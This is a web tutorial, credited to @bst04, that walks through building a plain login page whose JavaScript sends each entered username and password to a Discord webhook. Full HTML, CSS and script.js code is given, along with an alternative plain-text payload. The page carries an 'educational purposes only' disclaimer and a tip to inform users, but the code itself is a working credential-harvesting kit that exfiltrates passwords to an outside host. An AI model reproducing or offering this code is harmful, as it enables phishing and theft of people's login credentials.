Create a Login Page Webhook

This tutorial demonstrates how to create a login page that sends entered credentials to a webhook. Created by @bst04.

Disclaimer: This guide is intended for educational purposes only. Unauthorized collection of user credentials is illegal and unethical. Use this knowledge responsibly and ethically.

📌 Basic Information

Webhooks
- A webhook is an HTTP callback that allows one application to send real-time data to another.
- Common platforms like Discord, Slack, or custom APIs can receive webhook data.
Tools Used
- HTML: To structure the login form.
- CSS: To style the login page.
- JavaScript: To handle form submission and send data to the webhook.
Platforms
- For simplicity, we'll use Discord as an example to receive the webhook data.

📋 Requirements

Before proceeding, ensure you have the following:

Basic knowledge of HTML, CSS, and JavaScript.
A webhook URL (e.g., from Discord, Slack, or any custom API).
A text editor (e.g., VS Code, Sublime Text).

🚀 Step-by-Step Process

Step 1: Set Up Your Webhook

Choose a platform to receive the data. For this example, we'll use Discord:
- Go to Discord.
- Create a server if you don't already have one.
- Right-click on a channel → Integrations → Webhooks → Create Webhook.
- Copy the webhook URL provided by Discord.
Example Webhook URL:
```
https://discord.com/api/webhooks/1234567890abcdefg/your_webhook_key_here
```

Create an index.html file with the following code:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Page</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f2f2f2;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .login-container {
            background-color: white;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            width: 300px;
        }
        .login-container h2 {
            margin-bottom: 20px;
            text-align: center;
        }
        .login-container input {
            width: 100%;
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ccc;
            border-radius: 4px;
        }
        .login-container button {
            width: 100%;
            padding: 10px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        .login-container button:hover {
            background-color: #45a049;
        }
    </style>
</head>
<body>
    <div class="login-container">
        <h2>Login</h2>
        <form id="loginForm">
            <input type="text" id="username" placeholder="Username" required>
            <input type="password" id="password" placeholder="Password" required>
            <button type="submit">Login</button>
        </form>
    </div>

    <script src="script.js"></script>
</body>
</html>

Step 3: Add JavaScript to Send Data to the Webhook

Create a script.js file with the following code:

document.getElementById("loginForm").addEventListener("submit", function(event) {
    event.preventDefault(); // Prevent the form from refreshing the page

    // Get the username and password from the form
    const username = document.getElementById("username").value;
    const password = document.getElementById("password").value;

    // Construct the payload to send to the webhook
    const payload = {
        embeds: [{
            title: "Login Attempt",
            fields: [
                { name: "Username", value: username, inline: true },
                { name: "Password", value: password, inline: true }
            ],
            color: 0x00ff00 // Green color
        }]
    };

    // Replace with your webhook URL
    const webhookUrl = "https://discord.com/api/webhooks/1234567890abcdefg/your_webhook_key_here";

    // Send the data to the webhook
    fetch(webhookUrl, {
        method: "POST",
        headers: {
            "Content-Type": "application/json"
        },
        body: JSON.stringify(payload)
    })
    .then(response => {
        if (response.ok) {
            alert("Data sent successfully!");
        } else {
            alert("Failed to send data.");
        }
    })
    .catch(error => {
        console.error("Error:", error);
        alert("An error occurred while sending data.");
    });
});

Step 4: Test the Setup

Save both files (index.html and script.js) in the same directory.
Open index.html in your browser.
Enter a username and password in the login form and submit it.
Check your webhook platform (e.g., Discord) to see if the data was received.

Step 5: Customize the Webhook Message

You can customize the message format sent to the webhook. For example:

Updated Payload Example:

const payload = {
    content: `Login Attempt:\nUsername: ${username}\nPassword: ${password}`
};

This will send a plain-text message instead of an embed.

🛠 Tips and Best Practices

Use HTTPS: If hosting this login page online, ensure it is served over HTTPS to protect data in transit.
Inform Users: Always inform users that their data will be sent to a webhook for demonstration or testing purposes.
Test Locally: Use local development tools (e.g., localhost) to test the functionality before deploying it.
Secure Your Webhook URL: Keep your webhook URL private to prevent unauthorized access.

Conclusion

By following these steps, you can create a simple login page that sends entered credentials to a webhook. This setup is useful for learning about webhooks, form handling, and API communication. Remember to use this knowledge responsibly and ethically.

Last updated 4 months ago